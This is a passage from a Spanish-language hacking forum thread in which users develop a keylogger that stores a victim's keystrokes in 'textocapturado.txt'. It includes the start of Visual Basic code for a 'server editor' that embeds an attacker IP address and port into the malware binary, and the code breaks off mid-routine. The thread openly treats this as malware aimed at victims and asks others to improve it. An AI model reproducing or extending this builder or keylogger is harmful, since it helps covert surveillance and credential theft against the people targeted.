Lo que pasa que lo ke escribes manda a guardarlo en el pc de la victima en textocapturado.txt si alguien puede modificarlo/mejorarlo
gracias

Los siguinetes aportes fueron hechos por el usuario: ANYD00M

Aca les dejo el code para el editor:
*Lo que hace es tomar los datos que se introdujero en los textbox, abre un cuadro de dialogo para ubicar el server y le introduce los datos encriptados al server:


Código:
'CODIGO DE BASE PARA EL EDITOR DEL SERVER
'*********************************************************************************
'El Codigo necesita de (El nombre de los objetos se pondran entre comillas):
'   *Un Formulario llamado "Form1"
'   *Un Boton llamado "Cmdapli"
'   *Un TextBox llamado "Txtip"
'   *Un TextBox llamado "Txtpt"
'   *Un CommondDialog llamado "CDetr"
'/////////////////////////////////
'Se autoriza el Copy&Paste de este codigo solo a foro.el-hacker.com ^^
'*********************************************************************************

'//Creamos un registro(en realidad una estructura de datos, e slo mismo =P)
Private Type dta
    jl As String * 15 'La longitud maxima de la ip es 15
    lg As String * 5 'La longitus maxima del post es 5
End Type

Private Sub Cmdapli_Click()
'//Para manejar los errores que podrian ocurrir...
On Error